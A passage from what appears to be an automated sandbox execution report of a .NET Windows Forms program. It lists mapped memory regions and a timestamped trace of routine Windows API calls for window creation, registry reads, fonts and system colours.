"\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 550 start_va = 0xad40000 end_va = 0xad50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 551 start_va = 0x71630000 end_va = 0x717adfff monitored = 0 entry_point = 0x716ac630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 555 start_va = 0x73ae0000 end_va = 0x73daafff monitored = 0 entry_point = 0x73d1c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 556 start_va = 0xad60000 end_va = 0xad60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ad60000" filename = "" Region: id = 1209 start_va = 0xa3f0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 1210 start_va = 0xa400000 end_va = 0xa40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a400000" filename = "" Region: id = 1211 start_va = 0xa410000 end_va = 0xa41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a410000" filename = "" Region: id = 1212 start_va = 0xa420000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a420000" filename = "" Region: id = 1213 start_va = 0xa7a0000 end_va = 0xa7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7a0000" filename = "" Region: id = 1214 start_va = 0xa7b0000 end_va = 0xa7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7b0000" filename = "" Region: id = 1215 start_va = 0xa7c0000 end_va = 0xa7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7c0000" filename = "" Region: id = 1216 start_va = 0xa7d0000 end_va = 0xa7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7d0000" filename = "" Region: id = 1217 start_va = 0xa7e0000 end_va = 0xa7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7e0000" filename = "" Region: id = 1218 start_va = 0xa7f0000 end_va = 0xa7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7f0000" filename = "" Region: id = 1219 start_va = 0xa800000 end_va = 0xa80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a800000" filename = "" Region: id = 1220 start_va = 0xa810000 end_va = 0xa81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a810000" filename = "" Region: id = 1221 start_va = 0xa820000 end_va = 0xa82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a820000" filename = "" Region: id = 1222 start_va = 0xa830000 end_va = 0xa83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a830000" filename = "" Region: id = 1223 start_va = 0xa840000 end_va = 0xa84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a840000" filename = "" Region: id = 1224 start_va = 0xa850000 end_va = 0xa85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a850000" filename = "" Region: id = 1225 start_va = 0xa860000 end_va = 0xa86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a860000" filename = "" Region: id = 1226 start_va = 0xa870000 end_va = 0xa87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a870000" filename = "" Region: id = 1228 start_va = 0xa7a0000 end_va = 0xa7e8fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a7a0000" filename = "" Region: id = 1229 start_va = 0xa3f0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 1230 start_va = 0xa3f0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 1231 start_va = 0xa400000 end_va = 0xa40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a400000" filename = "" Region: id = 1232 start_va = 0xa410000 end_va = 0xa41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a410000" filename = "" Region: id = 1233 start_va = 0xa420000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a420000" filename = "" Region: id = 1264 start_va = 0xa3f0000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 1265 start_va = 0xad70000 end_va = 0xae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad70000" filename = "" Region: id = 1270 start_va = 0xa7f0000 end_va = 0xa82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7f0000" filename = "" Region: id = 1271 start_va = 0xae70000 end_va = 0xaf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ae70000" filename = "" Thread: id = 1 os_tid = 0x13a0 [0093.437] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0095.671] RoInitialize () returned 0x1 [0095.671] RoUninitialize () returned 0x0 [0101.802] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x19de58 | out: phkResult=0x19de58*=0x0) returned 0x2 [0101.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x19eed4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0102.035] IsAppThemed () returned 0x1 [0102.039] CoTaskMemAlloc (cb=0xf0) returned 0x6f3070 [0102.039] CreateActCtxA (pActCtx=0x19f418) returned 0x71bb4c [0102.876] CoTaskMemFree (pv=0x6f3070) [0103.256] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1de [0103.256] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1d9 [0103.398] GetSystemMetrics (nIndex=75) returned 1 [0103.440] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0104.667] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6e760000 [0104.735] AdjustWindowRectEx (in: lpRect=0x19f458, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x19f458) returned 1 [0104.738] GetCurrentProcess () returned 0xffffffff [0104.738] GetCurrentThread () returned 0xfffffffe [0104.738] GetCurrentProcess () returned 0xffffffff [0104.739] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x19f370, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x19f370*=0x298) returned 1 [0104.742] GetCurrentThreadId () returned 0x13a0 [0104.756] GetCurrentActCtx (in: lphActCtx=0x19f2d0 | out: lphActCtx=0x19f2d0*=0x0) returned 1 [0104.756] ActivateActCtx (in: hActCtx=0x71bb4c, lpCookie=0x19f2e0 | out: hActCtx=0x71bb4c, lpCookie=0x19f2e0) returned 1 [0104.757] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0106.452] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x72d30000 [0106.471] GetModuleHandleW (lpModuleName="user32.dll") returned 0x743d0000 [0106.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x19f194, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWÿhPã0U(ú\x0bohö\x19", lpUsedDefaultChar=0x0) returned 14 [0106.472] GetProcAddress (hModule=0x743d0000, lpProcName="DefWindowProcW") returned 0x73e807e0 [0106.473] GetStockObject (i=5) returned 0x1900015 [0106.477] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0106.487] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0106.487] RegisterClassW (lpWndClass=0x19f184) returned 0xc14b [0106.488] CoTaskMemFree (pv=0x6f6d08) [0106.488] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0106.489] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r10_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60288 [0106.492] SetWindowLongW (hWnd=0x60288, nIndex=-4, dwNewLong=1944586208) returned 74712510 [0106.493] GetWindowLongW (hWnd=0x60288, nIndex=-4) returned 1944586208 [0106.494] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e9e4 | out: phkResult=0x19e9e4*=0x2b4) returned 0x0 [0106.495] RegQueryValueExW (in: hKey=0x2b4, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x19ea04, lpData=0x0, lpcbData=0x19ea00*=0x0 | out: lpType=0x19ea04*=0x0, lpData=0x0, lpcbData=0x19ea00*=0x0) returned 0x2 [0106.495] RegQueryValueExW (in: hKey=0x2b4, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x19ea04, lpData=0x0, lpcbData=0x19ea00*=0x0 | out: lpType=0x19ea04*=0x0, lpData=0x0, lpcbData=0x19ea00*=0x0) returned 0x2 [0106.495] RegCloseKey (hKey=0x2b4) returned 0x0 [0106.498] SetWindowLongW (hWnd=0x60288, nIndex=-4, dwNewLong=74712550) returned 1944586208 [0106.498] GetWindowLongW (hWnd=0x60288, nIndex=-4) returned 74712550 [0106.499] GetWindowLongW (hWnd=0x60288, nIndex=-16) returned 113311744 [0106.500] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1bd [0106.500] CallWindowProcW (lpPrevWndFunc=0x73e807e0, hWnd=0x60288, Msg=0x24, wParam=0x0, lParam=0x19ecfc) returned 0x0 [0106.500] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc14f [0106.501] CallWindowProcW (lpPrevWndFunc=0x73e807e0, hWnd=0x60288, Msg=0x81, wParam=0x0, lParam=0x19ecf0) returned 0x1 [0106.502] CallWindowProcW (lpPrevWndFunc=0x73e807e0, hWnd=0x60288, Msg=0x83, wParam=0x0, lParam=0x19ecdc) returned 0x0 [0106.855] CallWindowProcW (lpPrevWndFunc=0x73e807e0, hWnd=0x60288, Msg=0x1, wParam=0x0, lParam=0x19ecf0) returned 0x0 [0106.855] GetClientRect (in: hWnd=0x60288, lpRect=0x19ea1c | out: lpRect=0x19ea1c) returned 1 [0106.855] GetWindowRect (in: hWnd=0x60288, lpRect=0x19ea1c | out: lpRect=0x19ea1c) returned 1 [0106.858] GetParent (hWnd=0x60288) returned 0x0 [0106.858] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1d2d0001) returned 1 [0107.711] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.711] AdjustWindowRectEx (in: lpRect=0x19f208, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f208) returned 1 [0107.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.714] AdjustWindowRectEx (in: lpRect=0x19f218, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f218) returned 1 [0107.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.714] AdjustWindowRectEx (in: lpRect=0x19f218, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f218) returned 1 [0107.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.714] AdjustWindowRectEx (in: lpRect=0x19f218, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f218) returned 1 [0107.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.715] AdjustWindowRectEx (in: lpRect=0x19f218, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f218) returned 1 [0107.715] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.715] AdjustWindowRectEx (in: lpRect=0x19f218, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f218) returned 1 [0107.715] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.715] AdjustWindowRectEx (in: lpRect=0x19f208, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f208) returned 1 [0107.716] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.717] AdjustWindowRectEx (in: lpRect=0x19f21c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f21c) returned 1 [0107.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.717] AdjustWindowRectEx (in: lpRect=0x19f21c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f21c) returned 1 [0107.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0107.718] AdjustWindowRectEx (in: lpRect=0x19f208, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f208) returned 1 [0107.729] GetCurrentThreadId () returned 0x13a0 [0107.729] GetCurrentThreadId () returned 0x13a0 [0107.738] GetSystemDefaultLCID () returned 0x409 [0107.738] GetStockObject (i=17) returned 0x10a0047 [0107.740] GetObjectW (in: h=0x10a0047, c=92, pv=0x19f06c | out: pv=0x19f06c) returned 92 [0107.742] GetDC (hWnd=0x0) returned 0xc0100ae [0108.467] GdiplusStartup (in: token=0x689128, input=0x19e628, output=0x19e678 | out: token=0x689128, output=0x19e678) returned 0x0 [0108.478] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0108.480] GdipCreateFontFromLogfontW (hdc=0xc0100ae, logfont=0x6f7180, font=0x19f134) returned 0x0 [0110.493] CoTaskMemFree (pv=0x6f7180) [0110.494] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.495] CoTaskMemFree (pv=0x6f6d08) [0110.495] CoTaskMemAlloc (cb=0x5c) returned 0x6f7250 [0110.495] CoTaskMemFree (pv=0x6f7250) [0110.495] GdipGetFontUnit (font=0x4a61f08, unit=0x19f100) returned 0x0 [0110.495] GdipGetFontSize (font=0x4a61f08, size=0x19f104) returned 0x0 [0110.495] GdipGetFontStyle (font=0x4a61f08, style=0x19f0fc) returned 0x0 [0110.496] GdipGetFamily (font=0x4a61f08, family=0x19f0f8) returned 0x0 [0110.496] GdipGetFontSize (font=0x4a61f08, size=0x22ea3a0) returned 0x0 [0110.496] ReleaseDC (hWnd=0x0, hDC=0xc0100ae) returned 1 [0110.497] GetDC (hWnd=0x0) returned 0xc0100ae [0110.497] GdipCreateFromHDC (hdc=0xc0100ae, graphics=0x19f11c) returned 0x0 [0110.510] GdipGetDpiY (graphics=0x5b7f268, dpi=0x22ea4a8) returned 0x0 [0110.510] GdipGetFontHeight (font=0x4a61f08, graphics=0x5b7f268, height=0x19f114) returned 0x0 [0110.510] GdipGetEmHeight (family=0x5b751f8, style=0, EmHeight=0x19f11c) returned 0x0 [0110.510] GdipGetLineSpacing (family=0x5b751f8, style=0, LineSpacing=0x19f11c) returned 0x0 [0110.511] GdipDeleteGraphics (graphics=0x5b7f268) returned 0x0 [0110.512] ReleaseDC (hWnd=0x0, hDC=0xc0100ae) returned 1 [0110.513] GdipCreateFont (fontFamily=0x5b751f8, emSize=0x41040000, style=0, unit=0x3, font=0x22ea468) returned 0x0 [0110.513] GdipGetFontSize (font=0x4a6efc0, size=0x22ea46c) returned 0x0 [0110.513] GdipDeleteFont (font=0x4a61f08) returned 0x0 [0110.514] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetCurrentThreadId () returned 0x13a0 [0110.515] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.516] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.528] GetProcessWindowStation () returned 0xf0 [0110.531] GetUserObjectInformationA (in: hObj=0xf0, nIndex=1, pvInfo=0x22ead44, nLength=0xc, lpnLengthNeeded=0x19f084 | out: pvInfo=0x22ead44, lpnLengthNeeded=0x19f084) returned 1 [0110.535] SetConsoleCtrlHandler (HandlerRoutine=0x474060e, Add=1) returned 1 [0110.535] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0110.536] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0110.538] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x22eada8 | out: lpWndClass=0x22eada8) returned 0 [0110.547] CoTaskMemAlloc (cb=0x58) returned 0x71dc58 [0110.547] RegisterClassW (lpWndClass=0x19efd4) returned 0xc1df [0110.547] CoTaskMemFree (pv=0x71dc58) [0110.549] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x80082 [0110.550] NtdllDefWindowProc_W (hWnd=0x80082, Msg=0x81, wParam=0x0, lParam=0x19eb10) returned 0x1 [0110.554] NtdllDefWindowProc_W (hWnd=0x80082, Msg=0x83, wParam=0x0, lParam=0x19eafc) returned 0x0 [0110.554] NtdllDefWindowProc_W (hWnd=0x80082, Msg=0x1, wParam=0x0, lParam=0x19eb10) returned 0x0 [0110.555] NtdllDefWindowProc_W (hWnd=0x80082, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0110.555] NtdllDefWindowProc_W (hWnd=0x80082, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0110.561] GetSysColor (nIndex=10) returned 0xb4b4b4 [0110.561] GetSysColor (nIndex=2) returned 0xd1b499 [0110.561] GetSysColor (nIndex=9) returned 0x0 [0110.561] GetSysColor (nIndex=12) returned 0xababab [0110.561] GetSysColor (nIndex=15) returned 0xf0f0f0 [0110.561] GetSysColor (nIndex=20) returned 0xffffff [0110.561] GetSysColor (nIndex=16) returned 0xa0a0a0 [0110.561] GetSysColor (nIndex=15) returned 0xf0f0f0 [0110.561] GetSysColor (nIndex=16) returned 0xa0a0a0 [0110.561] GetSysColor (nIndex=21) returned 0x696969 [0110.561] GetSysColor (nIndex=22) returned 0xe3e3e3 [0110.561] GetSysColor (nIndex=20) returned 0xffffff [0110.561] GetSysColor (nIndex=18) returned 0x0 [0110.561] GetSysColor (nIndex=1) returned 0x0 [0110.561] GetSysColor (nIndex=27) returned 0xead1b9 [0110.561] GetSysColor (nIndex=28) returned 0xf2e4d7 [0110.561] GetSysColor (nIndex=17) returned 0x6d6d6d [0110.561] GetSysColor (nIndex=13) returned 0xff9933 [0110.561] GetSysColor (nIndex=14) returned 0xffffff [0110.561] GetSysColor (nIndex=26) returned 0xcc6600 [0110.561] GetSysColor (nIndex=11) returned 0xfcf7f4 [0110.561] GetSysColor (nIndex=3) returned 0xdbcdbf [0110.562] GetSysColor (nIndex=19) returned 0x0 [0110.562] GetSysColor (nIndex=24) returned 0xe1ffff [0110.562] GetSysColor (nIndex=23) returned 0x0 [0110.562] GetSysColor (nIndex=4) returned 0xf0f0f0 [0110.562] GetSysColor (nIndex=30) returned 0xf0f0f0 [0110.562] GetSysColor (nIndex=29) returned 0xff9933 [0110.562] GetSysColor (nIndex=7) returned 0x0 [0110.562] GetSysColor (nIndex=0) returned 0xc8c8c8 [0110.562] GetSysColor (nIndex=5) returned 0xffffff [0110.562] GetSysColor (nIndex=6) returned 0x646464 [0110.562] GetSysColor (nIndex=8) returned 0x0 [0110.562] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.562] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.567] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.567] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.567] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.567] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.573] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.573] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.573] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.574] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.574] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.574] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.574] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.574] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f1a8) returned 1 [0110.575] GetCurrentThreadId () returned 0x13a0 [0110.575] GetCurrentThreadId () returned 0x13a0 [0110.575] GetCurrentThreadId () returned 0x13a0 [0110.575] GetCurrentThreadId () returned 0x13a0 [0110.575] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.575] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.575] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.575] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.579] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.579] AdjustWindowRectEx (in: lpRect=0x19f05c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f05c) returned 1 [0110.581] GdipGetFamilyName (in: family=0x5b751f8, name=0x19f028, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0110.583] CreateCompatibleDC (hdc=0x0) returned 0x4001093b [0110.584] GetCurrentObject (hdc=0x4001093b, type=0x1) returned 0x1b00017 [0110.584] GetCurrentObject (hdc=0x4001093b, type=0x2) returned 0x1900010 [0110.584] GetCurrentObject (hdc=0x4001093b, type=0x7) returned 0x185000f [0110.584] GetCurrentObject (hdc=0x4001093b, type=0x6) returned 0x18a0048 [0110.584] SaveDC (hdc=0x4001093b) returned 1 [0110.585] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.587] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.587] CreateFontIndirectW (lplf=0x6f6d08) returned 0x560a060c [0110.588] CoTaskMemFree (pv=0x6f6d08) [0110.588] GetObjectW (in: h=0x560a060c, c=92, pv=0x19efec | out: pv=0x19efec) returned 92 [0110.595] GetCurrentObject (hdc=0x4001093b, type=0x6) returned 0x18a0048 [0110.595] GetObjectW (in: h=0x18a0048, c=92, pv=0x19efd4 | out: pv=0x19efd4) returned 92 [0110.596] SelectObject (hdc=0x4001093b, h=0x560a060c) returned 0x18a0048 [0110.597] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ebf04 | out: psizl=0x22ebf04) returned 1 [0110.606] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.606] AdjustWindowRectEx (in: lpRect=0x19f130, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f130) returned 1 [0110.607] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19f1f8) returned 0x0 [0110.607] GdipCreateFont (fontFamily=0x5b70f38, emSize=0x417c0000, style=1, unit=0x3, font=0x22ebfe0) returned 0x0 [0110.699] GdipGetFontSize (font=0x4a61f08, size=0x22ebfe4) returned 0x0 [0110.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.700] AdjustWindowRectEx (in: lpRect=0x19f014, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f014) returned 1 [0110.700] GdipGetFamilyName (in: family=0x5b70f38, name=0x19efe0, language=0x409 | out: name="Arial") returned 0x0 [0110.700] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.700] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0110.700] CreateFontIndirectW (lplf=0x6f7180) returned 0x4b0a08c7 [0110.700] CoTaskMemFree (pv=0x6f7180) [0110.701] GetObjectW (in: h=0x4b0a08c7, c=92, pv=0x19efa4 | out: pv=0x19efa4) returned 92 [0110.701] SelectObject (hdc=0x4001093b, h=0x4b0a08c7) returned 0x560a060c [0110.710] DeleteObject (ho=0x560a060c) returned 1 [0110.710] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ec294 | out: psizl=0x22ec294) returned 1 [0110.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.717] AdjustWindowRectEx (in: lpRect=0x19f0e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e8) returned 1 [0110.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.718] AdjustWindowRectEx (in: lpRect=0x19f048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f048) returned 1 [0110.719] GdipGetFamilyName (in: family=0x5b70f38, name=0x19f014, language=0x409 | out: name="Arial") returned 0x0 [0110.719] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.719] CoTaskMemAlloc (cb=0x5c) returned 0x6f6b00 [0110.719] CreateFontIndirectW (lplf=0x6f6b00) returned 0x570a060c [0110.719] CoTaskMemFree (pv=0x6f6b00) [0110.719] GetObjectW (in: h=0x570a060c, c=92, pv=0x19efd8 | out: pv=0x19efd8) returned 92 [0110.721] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ec474 | out: psizl=0x22ec474) returned 1 [0110.721] DeleteObject (ho=0x570a060c) returned 1 [0110.721] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.721] AdjustWindowRectEx (in: lpRect=0x19f17c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f17c) returned 1 [0110.721] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.721] AdjustWindowRectEx (in: lpRect=0x19f048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f048) returned 1 [0110.721] GdipGetFamilyName (in: family=0x5b70f38, name=0x19f014, language=0x409 | out: name="Arial") returned 0x0 